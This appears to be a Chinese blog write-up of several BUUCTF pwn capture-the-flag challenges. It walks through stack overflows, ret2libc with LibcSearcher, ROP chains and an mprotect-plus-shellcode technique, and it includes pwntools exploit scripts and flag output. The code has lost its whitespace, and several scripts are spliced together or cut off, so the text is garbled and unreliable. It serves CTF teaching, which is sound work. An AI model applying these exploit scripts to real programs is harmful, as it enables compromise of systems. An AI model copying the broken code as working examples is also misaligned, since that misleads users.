今天你pwn了吗(上)

admin 2025-03-28 235人围观 ,发现180个评论
前言:

"二进制太难了",一起到buu开始刷题吧。这里仅记录下非高分题目的解题思路和知识讲解。特别是文章里的函数,我特意整理了下,还请好好学习下。

test_your_

64位的elf程序,一运行就拿到shell了。

int__cdeclmain(intargc,constchar**argv,constchar**envp){system("/bin/sh");return0;}gdb:►0x555555555140main+11callsystem@plt0x555555555030rdicommand:0x555555556004◂—0x68732f6e69622f/*'/bin/sh'*/

nc连接下远程,即可拿到flag。

${b710e4ab-0c62-456a-a699-2744d59fd65c}
rip

在pwn中,控制了rip就控制了世界。64位程序拖入ida:

int__cdeclmain(intargc,constchar**argv,constchar**envp){chars;//[rsp+1h][rbp-Fh]puts("pleaseinput");gets(s,argv);puts(s);puts("ok,bye!!!");return0;}intfun()//0x401186{returnsystem("/bin/sh");}

如果我们将main函数的retrun地址处给覆盖成0x401186,那么在程序执行到return的时候,rip就会被赋值给0x401186,于是就紧接着执行后门函数fun()从而拿到shell。这里就简单看下gets函数吧。

函数原型:0x401186的有点问题,于是加1。

我们写下以下exp拿得flag:

frompwnimport*(p)p=process("./warmup_csaw_2016")p=remote("",27848)("Tellmesomethingaboutyourself:")payload="I"*21+"a"+p32(0x08048F0D)(payload)()

拿到

$pythonpwn1_sctf_2016.py[+]Startinglocalprocess'./pwn1_sctf_2016':pid2148[+]:Done[DEBUG]Sent0x1bbytes:0000000049494949494949494949494949494949│IIII│IIII│IIII│IIII│000000104949494949610d8f04080a│IIII│Ia··│···│0000001b[*]Switchingtointeractivemode[DEBUG]Received0x2bbytes:'flag{41400e92-b944-453c-aef3-7a266312708a}\n'
ciscn_2019_n_1

64位elf程序:

ida:intfunc(){intresult;//eaxcharv1;//[rsp+0h][rbp-30h]floatv2;//[rsp+2Ch][rbp-4h]v2=0.0;puts("Let'sguessthenumber.");gets(v1);if(v2==11.28125)result=system("cat/flag");elseresult=puts("");returnresult;}

gets函数可导致栈溢出,如果要pwn到这个程序我们仅需将v2处覆盖为11.28125,即可拿到flag程序中已经有了11.28125在内存中存储的是41348000h,大家有兴趣可以去搜索下,是如何转换的。于是我们写以下exp:

frompwnimport*p=process("./ciscn_2019_n_1")p=remote("",27678)p=process("./ciscn_2019_c_1")p=remote("",25495)elf=ELF("./ciscn_2019_c_1")puts_plt=['puts']puts_got=['puts']start_addr=0x400790pop_rdi_ret=0x400c83payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)("Inputyourchoice!\n","1")("InputyourPlaintexttobeencrypted\n",payload)('@')()puts_addr=u64((6).ljust(8,'\x00'))print"puts_addris"+hex(puts_addr)libc=LibcSearcher("puts",puts_addr)libc_base=puts_("puts")system_addr=libc_base+("system")str_bin_sh=libc_base+("str_bin_sh")print"libc_baseis"+hex(libc_base)print"system_addris"+hex(system_addr)print"str_bin_shis"+hex(str_bin_sh)ret_addr=0x4006b9payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)("Inputyourchoice!\n","1")("InputyourPlaintexttobeencrypted\n",payload)()

另外在一些64位的glibc的payload调用system函数失败问题–Ex个人博客

"自己跟进去的话,能够看到确实是栈没对齐,那很简单,多加个ret对齐,再找个ret的gadget就可以."这里我就没有跟了,直接加了ret。顺利拿到flag。


[OGeek2019]babyrop

在看这题之前我们来简单看下几个C函数:

strlen()函数原型:size_tstrlen(constchar*str);函数功能:返回C字符串str的长度。C字符串的长度由终止的空字符确定:C字符串的长度与字符串开头和终止的空字符之间的字符数一样长(不包括终止的空字符本身)。strncmp()函数原型:intstrncmp(constchar*str1,constchar*str2,size_tnum);函数功能:比较两个字符串的字符,比较C字符串str1的num字符和C字符串str2的num字符。这个函数开始比较每个字符串的第一个字符。如果它们彼此相等,则继续执行以下操作,直到字符不同为止,直到到达一个终止的空字符,或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。

然后分析下程序流程,看ida:

int__cdeclmain(){intbuf;//[esp+4h][ebp-14h]charv2;//[esp+Bh][ebp-Dh]intfd;//[esp+Ch][ebp-Ch]sub_80486BB();fd=open("/dev/urandom",0);if(fd0)read(fd,buf,4u);v2=sub_804871F(buf);sub_80487D0(v2);return0;}*******************************************************************int__cdeclsub_804871F(inta1){size_tv1;//eaxchars;//[esp+Ch][ebp-4Ch]charbuf[7];//[esp+2Ch][ebp-2Ch]unsigned__int8v5;//[esp+33h][ebp-25h]ssize_tv6;//[esp+4Ch][ebp-Ch]memset(s,0,0x20u);memset(buf,0,0x20u);sprintf(s,"%ld",a1);v6=read(0,buf,0x20u);buf[v6-1]=0;v1=strlen(buf);if(strncmp(buf,s,v1))exit(0);write(1,"Correct\n",8u);returnv5;}**************************************************************ssize_t__cdeclsub_80487D0(chara1){ssize_tresult;//eaxcharbuf;//[esp+11h][ebp-E7h]if(a1==127)result=read(0,buf,0xC8u);elseresult=read(0,buf,a1);returnresult;}

即首先我们取出一个随机数作为参数a1传入sub_804871F函数处理。

sub_804871F函数是将我们的输入buf给那个随机数a1做比较,比较的字节数是buf的的strlen长度。但经过上面我们的介绍,strlen遇到\x00便停止函数执行。从而去绕过strncmp函数。

而sub_804871F函数中的v5是最后的返回值,而这个v5我们可以通过v6=read(0,buf,0x20u);这里去覆盖v5的值。我们把它覆盖很大就好了。

在最后的sub_80487D0函数中,我们可通过上面覆盖的v5作为read的第三个参数,从而有栈溢出漏洞。通过write去泄露libc然后得到system和/bin/sh从而去getshell。

于是我写出以下exp:

frompwnimport*fromLibcSearcherimport*p=process("./babyrop")p=remote("",29981)elf=ELF("./babyrop")_level="debug"p=process("./get_started_3dsctf_2016")(p)payload="a"*0x38+p32(0x080489A0)+p32(0xdeadbeef)+p32(0x308CD64F)+p32(0x195719D1)(payload)()本地可以成功拿到$pythonget_started_3dsctf_2016.py[+]Startinglocalprocess'./get_started_3dsctf_2016':pid7833[*]SwitchingtointeractivemodeQualapalavrinhamagica?flag{shimutouna}[*]GotEOFwhilereadingininteractive

但远程却不可以,报如下错

$pythonget_started_3dsctf_2016.py[+]Startinglocalprocess'./get_started_3dsctf_2016':pid7845[+]:Done[*]Switchingtointeractivemodetimeout:themonitoredcommanddumpedcore[*]GotEOFwhilereadingininteractive

我们去想下第二种做法:在这之前我们去了解下mprotect函数:

mprotect函数原型:intmprotect(void*addr,size_tlen,intprot);//addr内存启始地址//len修改内存的长度//prot内存的权限函数作用:将以addr开始的内存到addr+len的内存的权限给设置为prot(rwx)

我们通过vmmap命令可查看到:0x80ea000-0x80ec000的内存是可读可写,我们通过mprotect函数让它也可执行。

pwndbgvmmapLEGEND:STACK|HEAP|CODE|DATA|RWX|RODATA0x80480000x80ea000r-xpa20000/home/yangmutou/桌面/buuctf/100/get_started_3dsctf_20160x80ea0000x80ec000rw-p2000a1000/home/yangmutou/桌面/buuctf/100/get_started_3dsctf_20160x80ec0000x810f000rw-p230000[heap]0xf7ff90000xf7ffc000r--p30000[vvar]0xf7ffc0000xf7ffe000r-xp20000[vdso]0xfffdd0000xffffe000rw-p210000[stack]pwndbg

因为开启了NX,我们不可以再栈中去传入shellcode去执行了,但我们在ida的函数栏可以看到函数栏中有mprotect。于是我们可以通过修改某段内存为可读可写可执行的权限,我们通过rop的方式向那个内存写入shell,最后在控制程序执行到那里便可以去执行shellcode了我们重新编写exp:

frompwnimport*fromLibcSearcherimport*p=process("./get_started_3dsctf_2016")elf=ELF("./get_started_3dsctf_2016")p=remote("","26350")vmmaplen=0x2000prot=4+2+1ropper--fileget_started_3dsctf_2016--search"pop|ret"'''0x08063adb:popedi;popesi;popebx;ret;'''payload_1="a"*0x38+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)read(0,m_start,100)payload_1+=p32(m_start)(payload_1)payload_2=asm((),arch='i386',os='linux')p=process("./pwn5")p=remote("",27842)("yourname:")offset=10mubiao_addr=0()

成功getshell。

$[+]:Done[*]Switchingtointeractivemodeyourname:Hello,D�E�F�G�yourpasswd:ok!!$catflagflag{e772f007-8d5e-4bef-8324-ee437868dbe9}
后记:

师傅们,今天你pwn了!!!

相关推荐:

高级栈溢出技术—ROP实战(write4)

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

猜你喜欢
    不容错过